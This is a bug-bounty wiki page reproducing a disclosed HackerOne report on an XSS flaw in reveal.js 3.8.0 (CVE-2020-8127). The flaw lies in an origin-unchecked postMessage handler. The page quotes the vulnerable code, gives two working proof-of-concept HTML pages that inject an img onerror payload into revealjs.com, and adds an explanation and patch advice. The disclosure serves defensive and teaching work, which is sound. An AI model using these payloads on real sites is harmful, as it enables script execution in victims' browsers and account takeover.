Skip to content
XSS Disclosed report Intermediate CVE-2020-8127

[reveal.js] XSS by calling arbitrary method via postMessage

The reveal.js library's postMessage handler accepts messages from any origin and allows calling any method, including addKeyBinding, which stores unsanitised data that is later inserted into the help dialog's HTML. An attacker can send crafted messages to a page using reveal.js to execute arbitrary JavaScript in the victim's browser.

s_p_q_r Follow

Originally disclosed on HackerOne

Medium 5.4 View original
  • Disclosed after 5 months

I would like to report XSS in reveal.js It allows gaining access to the victim's account and performing actions on his behalf

Module

module name: reveal.js version: 3.8.0 npm page: https://www.npmjs.com/package/reveal.js

Module Description

A framework for easily creating beautiful presentations using HTML. Check out the live demo.

reveal.js comes with a broad range of features including nested slides, Markdown contents, PDF export, speaker notes and a JavaScript API. There's also a fully featured visual editor and platform for sharing reveal.js presentations at slides.com.

Module Stats

[N/A] downloads in the last day [4666] downloads in the last week [N/A] downloads in the last month

Vulnerability

Vulnerability Description

The setupPostMessage function accepts messages from arbitrary origins and allows calling any method available in Reveal:

JavaScript
function setupPostMessage() {
	
	if( config.postMessage ) {
		window.addEventListener( 'message', function ( event ) {
			var data = event.data;
			
			// Make sure we're dealing with JSON
			if( typeof data === 'string' && data.charAt( 0 ) === '{' && data.charAt( data.length - 1 ) === '}' ) {
				data = JSON.parse( data );

				// Check if the requested method can be found
				if( data.method && typeof Reveal[data.method] === 'function' ) {
					Reveal[data.method].apply( Reveal, data.args );
				}
			}
		}, false );
	}
}

For the proof of concept let's consider the addKeyBinding method. It pushes the provided key data (code, description and callback) into the registeredKeyBindings array:

JavaScript
function addKeyBinding( binding, callback ) {
	
	if( typeof binding === 'object' && binding.keyCode ) {
		registeredKeyBindings[binding.keyCode] = {
			callback: callback,
			key: binding.key,
			description: binding.description
		};
	}
	else {
		registeredKeyBindings[binding] = {
			callback: callback,
			key: null,
			description: null
		};
	}
	
}

which in its turn is put into HTML without sufficient validation within the showHelp method:

JavaScript
function showHelp() {
	
	...
	
	for( var binding in registeredKeyBindings ) {
		if( registeredKeyBindings[binding].key && registeredKeyBindings[binding].description ) {
			html += '<tr><td>' + registeredKeyBindings[binding].key + '</td><td>' + registeredKeyBindings[binding].description + '</td></tr>';
		}
	}
	
	...
	
}

All in all this allows the attacker to perform XSS via postMessage by submitting payloads in its data (PoC against the https://revealjs.com homepage):

HTML
<html>
    <head>
        <title>XSS</title>
        
		<style>
			iframe
			{
				width: 100%;
				height: 100%;
				border: none;
			}
		</style>
    </head>
    <body>
        <iframe name="reveal" src="https://revealjs.com" onload="xss()"></iframe>

        <script>
            var frame = window.frames.reveal
            
            function xss ()
            {
                frame.postMessage ('{"method":"addKeyBinding","args":[{"keyCode":666,"key":"Pwned","description":"<img src=x onerror=alert(document.domain)>"}]}', '*')
                frame.postMessage ('{"method":"toggleHelp"}', '*')
            }
        </script>
    </body>
</html>

http://spqr.zz.mu/reveal.php

HTML
<script>
    var win = window.open ('https://revealjs.com')
    
    function xss ()
    {
        win.postMessage ('{"method":"addKeyBinding","args":[{"keyCode":666,"key":"Pwned","description":"<img src=x onerror=alert(document.domain)>"}]}', '*')
        win.postMessage ('{"method":"toggleHelp"}', '*')
    }
    
    setTimeout (xss, 500)
</script>

http://spqr.zz.mu/reveal_open.php

Steps To Reproduce:

Open one of these links in any browser and wait for the page to load:

Patch

  • Use secure HTML assignment at the showHelp method
  • Check other available methods for similar vulnerabilites
  • By default allow calling secure methods only
  • By default turn on secure configs only
  • Prohibit overriding them via seach params
  • By default allow messages from whitelisted origins only

Supporting Material/References:

  • Any
  • 4.0.0 or later
  • Any
  • Any
  • Any

Wrap up

  • I contacted the maintainer to let them know: [N]
  • I opened an issue in the related repository: [N]

Hunter's comments and funny memes goes here

Presentation with reveal.js about xss

xss_dawg.jpg
xss_dawg.jpg From the original on HackerOne

Impact

Gaining access to the victim's account and performing actions on his behalf

The original report as published on HackerOne, by s_p_q_r. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The postMessage handler does not validate the origin of messages and allows calling any Reveal method, and the showHelp method inserts user-controlled data into HTML without sanitisation.

Impact

An attacker could gain access to the victim's account and perform actions on their behalf.

What the attacker needed

Victim visits a malicious page; reveal.js with postMessage enabled

The fix

The report recommends using secure HTML assignment in showHelp, restricting callable methods, and only accepting messages from whitelisted origins.

How it was found

  1. Open a malicious page that embeds or opens a reveal.js presentation.
  2. The page sends a postMessage to the reveal.js window with method addKeyBinding and a malicious description.
  3. The page sends another postMessage to call toggleHelp.
  4. The help dialog renders the unsanitised description, executing the script.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A website using reveal.js listens for messages from other windows. It does not check who sent the message and lets the sender call any function. One function stores text that is later shown without cleaning, so an attacker can inject a script that runs in the victim's browser.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by s_p_q_r

View all

14 more disclosed reports, best first.

More from Node.js third-party modules

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.